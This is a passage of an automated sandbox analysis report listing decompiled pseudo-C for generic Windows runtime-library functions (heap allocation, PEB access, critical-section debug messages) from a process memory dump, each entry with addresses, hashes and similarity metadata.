				void* _t21;

				_t18 = __ecx;
				_t21 = __ecx;
				if(__ecx == 0) {
					L6:
					__eflags = _a4;
					if(__eflags != 0) {
						L8:
						E047388F5(_t17, _t18, _t19, _t20, _t21, __eflags);
						L9:
						return 0;
					}
					__eflags =  *((char*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0x28));
					if(__eflags != 0) {
						goto L9;
					}
					goto L8;
				}
				_t18 = __ecx + 0x30;
				if(E0468C5D5(__ecx + 0x30, _t19) == 0 ||  *((intOrPtr*)(__ecx + 0x34)) != 0x4641030 ||  *((char*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0x28)) != 0) {
					goto L6;
				} else {
					return 1;
				}
			}

0x04664f2e
0x04664f34
0x04664f38
0x046c0b85
0x046c0b85
0x046c0b89
0x046c0b9a
0x046c0b9a
0x046c0b9f
0x00000000
0x046c0b9f
0x046c0b94
0x046c0b98
0x00000000
0x00000000
0x00000000
0x046c0b98
0x04664f3e
0x04664f48
0x00000000
0x04664f6e
0x00000000
0x04664f70

Memory Dump Source

Source File: 00000009.00000002.492120932.0000000004640000.00000040.00000001.sdmp, Offset: 04640000, based on PE: true

Associated: 00000009.00000002.492621270.000000000475B000.00000040.00000001.sdmp Download File
Associated: 00000009.00000002.492637672.000000000475F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 50a41fd661dc34baee78f0c2d88406acc3211b7a39007e0d879388c946e3e517
Instruction ID: 2a3e96707a3b8b3fb903851b549771767e779584302965fb26f678c81833bbc1
Opcode Fuzzy Hash: 50a41fd661dc34baee78f0c2d88406acc3211b7a39007e0d879388c946e3e517
Instruction Fuzzy Hash: 21F0BE32526695CFE761DB98C244B32B7E4EB207BCF05466ED40587B21EB35FC80C640

Uniqueness

Uniqueness Score: -1.00%

Function 04738B58, Relevance: .0, Instructions: 31
COMMON

Download Yara Rule

C-Code - Quality: 36%

			E04738B58(intOrPtr __ecx) {
				signed int _v8;
				intOrPtr _v20;
				short _v46;
				char _v52;
				signed char* _t11;
				intOrPtr _t17;
				intOrPtr _t22;
				intOrPtr _t23;
				intOrPtr _t24;
				signed int _t25;

				_v8 =  *0x475d360 ^ _t25;
				_v20 = __ecx;
				_v46 = 0x1c26;
				if(E04687D50() == 0) {
					_t11 = 0x7ffe0386;
				} else {
					_t11 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22c;
				}
				_push( &_v52);
				_push(4);
				_push(0x402);
				_push( *_t11 & 0x000000ff);
				return E046AB640(E046A9AE0(), _t17, _v8 ^ _t25, _t22, _t23, _t24);
			}

0x04738b67
0x04738b6f
0x04738b72
0x04738b7d
0x04738b8f
0x04738b7f
0x04738b88
0x04738b88
0x04738b9a
0x04738b9b
0x04738b9d
0x04738ba2
0x04738bb5

Memory Dump Source

Source File: 00000009.00000002.492120932.0000000004640000.00000040.00000001.sdmp, Offset: 04640000, based on PE: true

Associated: 00000009.00000002.492621270.000000000475B000.00000040.00000001.sdmp Download File
Associated: 00000009.00000002.492637672.000000000475F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 988bda9404c990308374c61f14a3ff053d78ee5a3f4298102b720678f82cf00c
Instruction ID: 010a5007e9632f3a71dd1cdd2e7aaad9fb8565a32c4433b0f35cf66591ef315d
Opcode Fuzzy Hash: 988bda9404c990308374c61f14a3ff053d78ee5a3f4298102b720678f82cf00c
Instruction Fuzzy Hash: 84F082B0B04659ABEB10EBA8D906E6E73B8EF04704F15049DBA05DB381FA74ED00C799

Uniqueness

Uniqueness Score: -1.00%

Function 0469A44B, Relevance: .0, Instructions: 29
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E0469A44B(signed int __ecx) {
				intOrPtr _t13;
				signed int _t15;
				signed int* _t16;
				signed int* _t17;

				_t13 =  *0x4757b9c; // 0x0
				_t15 = __ecx;
				_t16 = L04684620(__ecx,  *((intOrPtr*)( *[fs:0x30] + 0x18)), _t13 + 0xc0000, 8 + __ecx * 4);
				if(_t16 == 0) {
					return 0;
				}
				 *_t16 = _t15;
				_t17 =  &(_t16[2]);
				E046AFA60(_t17, 0, _t15 << 2);
				return _t17;
			}

0x0469a44b
0x0469a453
0x0469a472
0x0469a476
0x00000000
0x0469a493
0x0469a47a
0x0469a47f
0x0469a486
0x00000000

Memory Dump Source

Source File: 00000009.00000002.492120932.0000000004640000.00000040.00000001.sdmp, Offset: 04640000, based on PE: true

Associated: 00000009.00000002.492621270.000000000475B000.00000040.00000001.sdmp Download File
Associated: 00000009.00000002.492637672.000000000475F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a6fefdbf7b30bba7ad421b344af4e69c6ce5c30c01e473137b5d44109e34d33f
Instruction ID: 291770a835749af69ff310b03e2adb4556da3e1a1d854cc01f607849c5a80202
Opcode Fuzzy Hash: a6fefdbf7b30bba7ad421b344af4e69c6ce5c30c01e473137b5d44109e34d33f
Instruction Fuzzy Hash: C7E09272B01521ABD2115A58AD00FA673DDDBE4A55F0A4039F504C7210FA68ED12CBE0

Uniqueness

Uniqueness Score: -1.00%

Function 0466F358, Relevance: .0, Instructions: 28
COMMON

Download Yara Rule

C-Code - Quality: 79%

			E0466F358(void* __ecx, signed int __edx) {
				char _v8;
				signed int _t9;
				void* _t20;

				_push(__ecx);
				_t9 = 2;
				_t20 = 0;
				if(E0469F3D5( &_v8, _t9 * __edx, _t9 * __edx >> 0x20) >= 0 && _v8 != 0) {
					_t20 = L04684620( &_v8,  *((intOrPtr*)( *[fs:0x30] + 0x18)), 8, _v8);
				}
				return _t20;
			}

0x0466f35d
0x0466f361
0x0466f367
0x0466f372
0x0466f38c
0x0466f38c
0x0466f394

Memory Dump Source

Source File: 00000009.00000002.492120932.0000000004640000.00000040.00000001.sdmp, Offset: 04640000, based on PE: true

Associated: 00000009.00000002.492621270.000000000475B000.00000040.00000001.sdmp Download File
Associated: 00000009.00000002.492637672.000000000475F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 61dda8323ae8c861ea8f02d60a1be81a40b0a62d8b7407e3baae4fe75ca8acd3
Instruction ID: 87b7220d0becbbdd2187e71a7e8869aed114758d16bd9b7f805954591677f875
Opcode Fuzzy Hash: 61dda8323ae8c861ea8f02d60a1be81a40b0a62d8b7407e3baae4fe75ca8acd3
Instruction Fuzzy Hash: 58E0D832A40218BBDB35A6DD9D05F5ABBACDB48B60F010159F904E7150F964AD40C6D0

Uniqueness

Uniqueness Score: -1.00%

Function 0467FF60, Relevance: .0, Instructions: 22
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E0467FF60(intOrPtr _a4) {
				void* __ecx;
				void* __ebp;
				void* _t13;
				intOrPtr _t14;
				void* _t15;
				void* _t16;
				void* _t17;

				_t14 = _a4;
				if(_t14 == 0 || ( *(_t14 + 0x68) & 0x00030000) != 0 ||  *((intOrPtr*)(_t14 + 4)) != 0x46411a4 ||  *((char*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0x28)) != 0) {
					return E047388F5(_t13, _t14, _t15, _t16, _t17, __eflags);
				} else {
					return E04680050(_t14);
				}
			}

0x0467ff66
0x0467ff6b
0x00000000
0x0467ff8f
0x00000000
0x0467ff8f

Memory Dump Source

Source File: 00000009.00000002.492120932.0000000004640000.00000040.00000001.sdmp, Offset: 04640000, based on PE: true

Associated: 00000009.00000002.492621270.000000000475B000.00000040.00000001.sdmp Download File
Associated: 00000009.00000002.492637672.000000000475F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 14c6559e34fa4ee4cf21c851150e40acbad0a143619ac434a2b57fa7b3b05296
Instruction ID: 2285db6f5cdd342b57b006bf8c1fc8eeb7155ea982a1a362963960fc43165911
Opcode Fuzzy Hash: 14c6559e34fa4ee4cf21c851150e40acbad0a143619ac434a2b57fa7b3b05296
Instruction Fuzzy Hash: 4FE0DFB020A204DFEB38EF51D044F25379C9B62725F1A841DE0088B602EE29F881C20A

Uniqueness

Uniqueness Score: -1.00%

Function 046F41E8, Relevance: .0, Instructions: 21
COMMON

Download Yara Rule

C-Code - Quality: 82%

			E046F41E8(void* __ebx, void* __edi, void* __esi, void* __eflags) {
				void* _t5;
				void* _t14;

				_push(8);
				_push(0x47408f0);
				_t5 = E046BD08C(__ebx, __edi, __esi);
				if( *0x47587ec == 0) {
					E0467EEF0( *((intOrPtr*)( *[fs:0x30] + 0x1c)));
					 *(_t14 - 4) =  *(_t14 - 4) & 0x00000000;
					if( *0x47587ec == 0) {
						 *0x47587f0 = 0x47587ec;
						 *0x47587ec = 0x47587ec;
						 *0x47587e8 = 0x47587e4;
						 *0x47587e4 = 0x47587e4;
					}
					 *(_t14 - 4) = 0xfffffffe;
					_t5 = L046F4248();
				}
				return E046BD0D1(_t5);
			}

0x046f41e8
0x046f41ea
0x046f41ef
0x046f41fb
0x046f4206
0x046f420b
0x046f4216
0x046f421d
0x046f4222
0x046f422c
0x046f4231
0x046f4231
0x046f4236
0x046f423d
0x046f423d
0x046f4247

Memory Dump Source

Source File: 00000009.00000002.492120932.0000000004640000.00000040.00000001.sdmp, Offset: 04640000, based on PE: true

Associated: 00000009.00000002.492621270.000000000475B000.00000040.00000001.sdmp Download File
Associated: 00000009.00000002.492637672.000000000475F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 850da3cbe879477c9a2b588bc325996941da57a4c1b57be3cdf7ee6f4fc5e939
Instruction ID: 47d8aff5c31b5207d1eac1be2d4887cb4db28d243e45774bc4b162fff3634684
Opcode Fuzzy Hash: 850da3cbe879477c9a2b588bc325996941da57a4c1b57be3cdf7ee6f4fc5e939
Instruction Fuzzy Hash: 3EF0F8744507008FEBA0FFF6A50079437ACF754218F02896E82408A794E7B86895CF06

Uniqueness

Uniqueness Score: -1.00%

Function 0471D380, Relevance: .0, Instructions: 21
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E0471D380(void* __ecx, void* __edx, intOrPtr _a4) {
				void* _t5;

				if(_a4 != 0) {
					_t5 = L0466E8B0(__ecx, _a4, 0xfff);
					L046877F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _a4);
					return _t5;
				}
				return 0xc000000d;
			}

0x0471d38a
0x0471d39b
0x0471d3b1
0x00000000
0x0471d3b6
0x00000000

Memory Dump Source

Source File: 00000009.00000002.492120932.0000000004640000.00000040.00000001.sdmp, Offset: 04640000, based on PE: true

Associated: 00000009.00000002.492621270.000000000475B000.00000040.00000001.sdmp Download File
Associated: 00000009.00000002.492637672.000000000475F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 07c5925e52f8afa1b7907533c1bd4f73c0082095210f26f206316f10964d23b8
Instruction ID: 942446e36a7843ba7e82550f52690c11828954429bf2fc369c73996fbdc28006
Opcode Fuzzy Hash: 07c5925e52f8afa1b7907533c1bd4f73c0082095210f26f206316f10964d23b8
Instruction Fuzzy Hash: 0DE0C231280204FBEB326E48CC00F697B16DB407A5F204039FE085A7A0D679BD91EAC8

Uniqueness

Uniqueness Score: -1.00%

Function 0469A185, Relevance: .0, Instructions: 20
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E0469A185() {
				void* __ecx;
				intOrPtr* _t5;

				if( *0x47567e4 >= 0xa) {
					if(_t5 < 0x4756800 || _t5 >= 0x4756900) {
						return L046877F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t5);
					} else {
						goto L1;
					}
				} else {
					L1:
					return E04680010(0x47567e0, _t5);
				}
			}

0x0469a190
0x0469a1a6
0x0469a1c2
0x00000000
0x00000000
0x00000000
0x0469a192
0x0469a192
0x0469a19f
0x0469a19f

Memory Dump Source

Source File: 00000009.00000002.492120932.0000000004640000.00000040.00000001.sdmp, Offset: 04640000, based on PE: true

Associated: 00000009.00000002.492621270.000000000475B000.00000040.00000001.sdmp Download File
Associated: 00000009.00000002.492637672.000000000475F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3263a1a110468105a4891daaad6b7c66195f271294a1b5164db1edfefdf1b52f
Instruction ID: a111c69c76264e938172644bad55033a52477fdfb7626276d48fa475d483af74
Opcode Fuzzy Hash: 3263a1a110468105a4891daaad6b7c66195f271294a1b5164db1edfefdf1b52f
Instruction Fuzzy Hash: 10D017611610805AFB2D77A0A954B2523DAE784728F704E2DE20A5EAB4FAE4FCD89108

Uniqueness

Uniqueness Score: -1.00%

Function 046916E0, Relevance: .0, Instructions: 17
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E046916E0(void* __edx, void* __eflags) {
				void* __ecx;
				void* _t3;

				_t3 = E04691710(0x47567e0);
				if(_t3 == 0) {
					_t6 =  *[fs:0x30];
					if( *((intOrPtr*)( *[fs:0x30] + 0x18)) == 0) {
						goto L1;
					} else {
						return L04684620(_t6,  *((intOrPtr*)(_t6 + 0x18)), 0, 0x20);
					}
				} else {
					L1:
					return _t3;
				}
			}

0x046916e8
0x046916ef
0x046916f3
0x046916fe
0x00000000
0x04691700
0x0469170d
0x0469170d
0x046916f2
0x046916f2
0x046916f2
0x046916f2

Memory Dump Source

Source File: 00000009.00000002.492120932.0000000004640000.00000040.00000001.sdmp, Offset: 04640000, based on PE: true

Associated: 00000009.00000002.492621270.000000000475B000.00000040.00000001.sdmp Download File
Associated: 00000009.00000002.492637672.000000000475F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bc1d29edd3a4a211b39cd8d6934dba9fdd2772ea94456e72940293c8a79e7da9
Instruction ID: 0f97e5aced43791dd82dfb8cbb45cbfd55abf030de7ac07fc1390d764b7f8dc4
Opcode Fuzzy Hash: bc1d29edd3a4a211b39cd8d6934dba9fdd2772ea94456e72940293c8a79e7da9
Instruction Fuzzy Hash: E0D0A73130010252FE2D5B109814B542299DB91789F38006CF11B5D6D0FFF0FC92F44C

Uniqueness

Uniqueness Score: -1.00%

Function 046E53CA, Relevance: .0, Instructions: 16
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E046E53CA(void* __ebx) {
				intOrPtr _t7;
				void* _t13;
				void* _t14;
				intOrPtr _t15;
				void* _t16;

				_t13 = __ebx;
				if( *((char*)(_t16 - 0x65)) != 0) {
					E0467EB70(_t14,  *((intOrPtr*)( *[fs:0x30] + 0x1c)));
					_t7 =  *((intOrPtr*)(_t16 - 0x64));
					_t15 =  *((intOrPtr*)(_t16 - 0x6c));
				}
				if(_t15 != 0) {
					L046877F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), _t13, _t15);
					return  *((intOrPtr*)(_t16 - 0x64));
				}
				return _t7;
			}

0x046e53ca
0x046e53ce
0x046e53d9
0x046e53de
0x046e53e1
0x046e53e1
0x046e53e6
0x046e53f3
0x00000000
0x046e53f8
0x046e53fb

Memory Dump Source

Source File: 00000009.00000002.492120932.0000000004640000.00000040.00000001.sdmp, Offset: 04640000, based on PE: true

Associated: 00000009.00000002.492621270.000000000475B000.00000040.00000001.sdmp Download File
Associated: 00000009.00000002.492637672.000000000475F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 67b7ac285cf5eeec7b30a6c71a9a804199707b28aa5e3d1143cb4169285b8378
Instruction ID: 2177d55ea9edcae720b0a9e78a7d0377e4dccf2725d64929c4463a502c855528
Opcode Fuzzy Hash: 67b7ac285cf5eeec7b30a6c71a9a804199707b28aa5e3d1143cb4169285b8378
Instruction Fuzzy Hash: 76E08C31900780ABCF12EB89CA50F5EB7F5FB44B04F240048A0095B720E664BC00CB00

Uniqueness

Uniqueness Score: -1.00%

Function 046935A1, Relevance: .0, Instructions: 12
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E046935A1(void* __eax, void* __ebx, void* __ecx) {
				void* _t6;
				void* _t10;
				void* _t11;

				_t10 = __ecx;
				_t6 = __eax;
				if( *((intOrPtr*)(_t11 - 0x34)) >= 0 && __ebx != 0) {
					 *((intOrPtr*)(__ecx + 0x294)) =  *((intOrPtr*)(__ecx + 0x294)) + 1;
				}
				if( *((char*)(_t11 - 0x1a)) != 0) {
					return E0467EB70(_t10,  *((intOrPtr*)( *[fs:0x30] + 0x1c)));
				}
				return _t6;
			}

0x046935a1
0x046935a1
0x046935a5
0x046935ab
0x046935ab
0x046935b5
0x00000000
0x046935c1
0x046935b7

Memory Dump Source

Source File: 00000009.00000002.492120932.0000000004640000.00000040.00000001.sdmp, Offset: 04640000, based on PE: true

Associated: 00000009.00000002.492621270.000000000475B000.00000040.00000001.sdmp Download File
Associated: 00000009.00000002.492637672.000000000475F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 750563defb44073a80ffdee3a2c6a0b0b2386ed4e1eb18000b2b3230dd36d4d9
Instruction ID: 28fbbc7f1f6351de16d75a660dc48d7bc0e227953351dd5fd019e4a4f59f0a11
Opcode Fuzzy Hash: 750563defb44073a80ffdee3a2c6a0b0b2386ed4e1eb18000b2b3230dd36d4d9
Instruction Fuzzy Hash: 4ED0A73150118099DF81AB10C21476837F9BB0C308F58105988014D751E3B66D8ED604

Uniqueness

Uniqueness Score: -1.00%

Function 0467AAB0, Relevance: .0, Instructions: 12
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E0467AAB0() {
				intOrPtr* _t4;

				_t4 =  *((intOrPtr*)( *[fs:0x30] + 0x50));
				if(_t4 != 0) {
					if( *_t4 == 0) {
						goto L1;
					} else {
						return  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x1e;
					}
				} else {
					L1:
					return 0x7ffe0030;
				}
			}

0x0467aab6
0x0467aabb
0x046ca442
0x00000000
0x046ca448
0x046ca454
0x046ca454
0x0467aac1
0x0467aac1
0x0467aac6
0x0467aac6

Memory Dump Source

Source File: 00000009.00000002.492120932.0000000004640000.00000040.00000001.sdmp, Offset: 04640000, based on PE: true

Associated: 00000009.00000002.492621270.000000000475B000.00000040.00000001.sdmp Download File
Associated: 00000009.00000002.492637672.000000000475F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0e648023605194c2b3aa9f86d2ec8309cbf58e884a879224c73f234beb57dbf0
Instruction ID: 6150680e8d4e6023259ccb7d187063c77d304b37bdf3decd91662b30c0140d7d
Opcode Fuzzy Hash: 0e648023605194c2b3aa9f86d2ec8309cbf58e884a879224c73f234beb57dbf0
Instruction Fuzzy Hash: 46D0E935352A80CFD716CF5DC554B1573A4FB54B44FC54594E541CBB61E62CE944CA00

Uniqueness

Uniqueness Score: -1.00%

Function 046EA537, Relevance: .0, Instructions: 11
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E046EA537(intOrPtr _a4, intOrPtr _a8) {

				return L04688E10( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _a8, _a4);
			}

0x046ea553

Memory Dump Source

Source File: 00000009.00000002.492120932.0000000004640000.00000040.00000001.sdmp, Offset: 04640000, based on PE: true

Associated: 00000009.00000002.492621270.000000000475B000.00000040.00000001.sdmp Download File
Associated: 00000009.00000002.492637672.000000000475F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d6c0dd98bdc9d799c561df663a79a4cb1d0de1ba5bb4d066895db6aa0bb5cbb5
Instruction ID: 8a4d8cf6f2b380d7f60bfe5c12b5c61f848429320362ddcd189a461bb4f28d98
Opcode Fuzzy Hash: d6c0dd98bdc9d799c561df663a79a4cb1d0de1ba5bb4d066895db6aa0bb5cbb5
Instruction Fuzzy Hash: 65C08C37080248BBCB127F81CC00F067F2AFB94B60F008018FA080B570C632E970EB88

Uniqueness

Uniqueness Score: -1.00%

Function 0466DB40, Relevance: .0, Instructions: 11
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E0466DB40() {
				signed int* _t3;
				void* _t5;

				_t3 = L04684620(_t5,  *((intOrPtr*)( *[fs:0x30] + 0x18)), 8, 0x64);
				if(_t3 == 0) {
					return 0;
				} else {
					 *_t3 =  *_t3 | 0x00000400;
					return _t3;
				}
			}

0x0466db4d
0x0466db54
0x0466db5f
0x0466db56
0x0466db56
0x0466db5c
0x0466db5c

Memory Dump Source

Source File: 00000009.00000002.492120932.0000000004640000.00000040.00000001.sdmp, Offset: 04640000, based on PE: true

Associated: 00000009.00000002.492621270.000000000475B000.00000040.00000001.sdmp Download File
Associated: 00000009.00000002.492637672.000000000475F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 081987da54e71c0f98f8b6eb8dea8f5611fd71ec3e86a06c437935a1a17be5f8
Instruction ID: cba0cd88ea7915c3273d9120797832fc97f54521e16cf7014a64f84d8825d74a
Opcode Fuzzy Hash: 081987da54e71c0f98f8b6eb8dea8f5611fd71ec3e86a06c437935a1a17be5f8
Instruction Fuzzy Hash: 77C08C70380A01AAEB222F20CD01B0037A4BB50B05F4400A46301DA0F0FF78E801EA00

Uniqueness

Uniqueness Score: -1.00%

Function 0466AD30, Relevance: .0, Instructions: 10
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E0466AD30(intOrPtr _a4) {

				return L046877F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _a4);
			}

0x0466ad49

Memory Dump Source

Source File: 00000009.00000002.492120932.0000000004640000.00000040.00000001.sdmp, Offset: 04640000, based on PE: true

Associated: 00000009.00000002.492621270.000000000475B000.00000040.00000001.sdmp Download File
Associated: 00000009.00000002.492637672.000000000475F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f53cbf097bf331e7efa67100c9216def11484318fb2f65513ba4bfb7ef6fc44f
Instruction ID: 66492db17491fac9c7fc12ae4ed6ab423165a0f0aa5eff75a7d41e8bda60af54
Opcode Fuzzy Hash: f53cbf097bf331e7efa67100c9216def11484318fb2f65513ba4bfb7ef6fc44f
Instruction Fuzzy Hash: F0C08C32080248BBC7126A45CD00F017B29E790B60F100024F6040A6618972E860D588

Uniqueness

Uniqueness Score: -1.00%

Function 046776E2, Relevance: .0, Instructions: 10
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E046776E2(void* __ecx) {
				void* _t5;

				if(__ecx != 0 && ( *(__ecx + 0x20) & 0x00000040) == 0) {
					return L046877F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, __ecx);
				}
				return _t5;
			}

0x046776e4
0x00000000
0x046776f8
0x046776fd

Memory Dump Source

Source File: 00000009.00000002.492120932.0000000004640000.00000040.00000001.sdmp, Offset: 04640000, based on PE: true

Associated: 00000009.00000002.492621270.000000000475B000.00000040.00000001.sdmp Download File
Associated: 00000009.00000002.492637672.000000000475F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 779d3b12954878cff5fec068ca9c86adddf3072d6236c1739843d2e534c1de0a
Instruction ID: ce553b92e046fd23d67fe8e66c9cc058aad690f9447e66735e7dcd3d18645c24
Opcode Fuzzy Hash: 779d3b12954878cff5fec068ca9c86adddf3072d6236c1739843d2e534c1de0a
Instruction Fuzzy Hash: 5EC08C702411805AEB2A7B08CE60B203650AB1870AF58029CAB01096A1E3A8B823CA08

Uniqueness

Uniqueness Score: -1.00%

Function 046936CC, Relevance: .0, Instructions: 10
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E046936CC(void* __ecx) {

				if(__ecx > 0x7fffffff) {
					return 0;
				} else {
					return L04684620(__ecx,  *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, __ecx);
				}
			}

0x046936d2
0x046936e8
0x046936d4
0x046936e5
0x046936e5

Memory Dump Source

Source File: 00000009.00000002.492120932.0000000004640000.00000040.00000001.sdmp, Offset: 04640000, based on PE: true

Associated: 00000009.00000002.492621270.000000000475B000.00000040.00000001.sdmp Download File
Associated: 00000009.00000002.492637672.000000000475F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4f3d4ce0a081fc3392adb3a1b0c88d62f1a47c6b625de355985342774c730a51
Instruction ID: 3758ec024fe54970159ea5cd0526c7891a126d8728f0de47b08287d077ed578d
Opcode Fuzzy Hash: 4f3d4ce0a081fc3392adb3a1b0c88d62f1a47c6b625de355985342774c730a51
Instruction Fuzzy Hash: 06C02B70350440FBEB252F30CD00F247398F704A21F64035C7220496F0FE68BC40D504

Uniqueness

Uniqueness Score: -1.00%

Function 04683A1C, Relevance: .0, Instructions: 10
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E04683A1C(intOrPtr _a4) {
				void* _t5;

				return L04684620(_t5,  *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _a4);
			}

0x04683a35

Memory Dump Source

Source File: 00000009.00000002.492120932.0000000004640000.00000040.00000001.sdmp, Offset: 04640000, based on PE: true

Associated: 00000009.00000002.492621270.000000000475B000.00000040.00000001.sdmp Download File
Associated: 00000009.00000002.492637672.000000000475F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 96eed22535127586772c7987771c80cba013ba6a1ffa665a55b2596939b117e5
Instruction ID: 7ca6b4799f00340fe1f35a4f0aaa8c478cf4590a19b4b09737bb8562b0dbcea1
Opcode Fuzzy Hash: 96eed22535127586772c7987771c80cba013ba6a1ffa665a55b2596939b117e5
Instruction Fuzzy Hash: 3AC08C32180248BBC7126E41DC00F017B29E794B60F000024B6040A560AA32ECA0D98C

Uniqueness

Uniqueness Score: -1.00%

Function 04687D50, Relevance: .0, Instructions: 7
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E04687D50() {
				intOrPtr* _t3;

				_t3 =  *((intOrPtr*)( *[fs:0x30] + 0x50));
				if(_t3 != 0) {
					return  *_t3;
				} else {
					return _t3;
				}
			}

0x04687d56
0x04687d5b
0x04687d60
0x04687d5d
0x04687d5d
0x04687d5d

Memory Dump Source

Source File: 00000009.00000002.492120932.0000000004640000.00000040.00000001.sdmp, Offset: 04640000, based on PE: true

Associated: 00000009.00000002.492621270.000000000475B000.00000040.00000001.sdmp Download File
Associated: 00000009.00000002.492637672.000000000475F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d8f8299b16f752bf61d1185b43a99e53329511a2be3aa4238e34382007679d93
Instruction ID: 13b269a59c82b0edfb84812623d1522990ef4cd225474f342bd8e6cd4c999c32
Opcode Fuzzy Hash: d8f8299b16f752bf61d1185b43a99e53329511a2be3aa4238e34382007679d93
Instruction Fuzzy Hash: E5B092343019408FCF16EF18C480B1533E4FB44A40B9400D5E400CBA20E229E8008900

Uniqueness

Uniqueness Score: -1.00%

Function 04692ACB, Relevance: .0, Instructions: 5
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E04692ACB() {
				void* _t5;

				return E0467EB70(_t5,  *((intOrPtr*)( *[fs:0x30] + 0x1c)));
			}

0x04692adc

Memory Dump Source

Source File: 00000009.00000002.492120932.0000000004640000.00000040.00000001.sdmp, Offset: 04640000, based on PE: true

Associated: 00000009.00000002.492621270.000000000475B000.00000040.00000001.sdmp Download File
Associated: 00000009.00000002.492637672.000000000475F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 15609d918e1561f37e97de8b3878496f5feb00f452f9af5c60cfc93e4e46d55a
Instruction ID: c191eb07029f5a7ef42327f33ed2a4986b7e7b51f64e2f2de19e3b8da175082a
Opcode Fuzzy Hash: 15609d918e1561f37e97de8b3878496f5feb00f452f9af5c60cfc93e4e46d55a
Instruction Fuzzy Hash: 74B01232C10440CFCF02EF40CB10B197731FB00B54F0544D5900127930C229BC01CB40

Uniqueness

Uniqueness Score: -1.00%

Function 046FFDDA, Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 42
COMMON

Download Yara Rule

C-Code - Quality: 53%

			E046FFDDA(intOrPtr* __edx, intOrPtr _a4) {
				void* _t7;
				intOrPtr _t9;
				intOrPtr _t10;
				intOrPtr* _t12;
				intOrPtr* _t13;
				intOrPtr _t14;
				intOrPtr* _t15;

				_t13 = __edx;
				_push(_a4);
				_t14 =  *[fs:0x18];
				_t15 = _t12;
				_t7 = E046ACE00( *__edx,  *((intOrPtr*)(__edx + 4)), 0xff676980, 0xffffffff);
				_push(_t13);
				E046F5720(0x65, 1, "RTL: Enter CriticalSection Timeout (%I64u secs) %d\n", _t7);
				_t9 =  *_t15;
				if(_t9 == 0xffffffff) {
					_t10 = 0;
				} else {
					_t10 =  *((intOrPtr*)(_t9 + 0x14));
				}
				_push(_t10);
				_push(_t15);
				_push( *((intOrPtr*)(_t15 + 0xc)));
				_push( *((intOrPtr*)(_t14 + 0x24)));
				return E046F5720(0x65, 0, "RTL: Pid.Tid %p.%p, owner tid %p Critical Section %p - ContentionCount == %u\n",  *((intOrPtr*)(_t14 + 0x20)));
			}

0x046ffdda
0x046ffde2
0x046ffde5
0x046ffdec
0x046ffdfa
0x046ffdff
0x046ffe0a
0x046ffe0f
0x046ffe17
0x046ffe1e
0x046ffe19
0x046ffe19
0x046ffe19
0x046ffe20
0x046ffe21
0x046ffe22
0x046ffe25
0x046ffe40

APIs

__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 046FFDFA

Strings

RTL: Enter CriticalSection Timeout (%I64u secs) %d, xrefs: 046FFE01
RTL: Pid.Tid %p.%p, owner tid %p Critical Section %p - ContentionCount == %u, xrefs: 046FFE2B

Memory Dump Source

Source File: 00000009.00000002.492120932.0000000004640000.00000040.00000001.sdmp, Offset: 04640000, based on PE: true

Associated: 00000009.00000002.492621270.000000000475B000.00000040.00000001.sdmp Download File
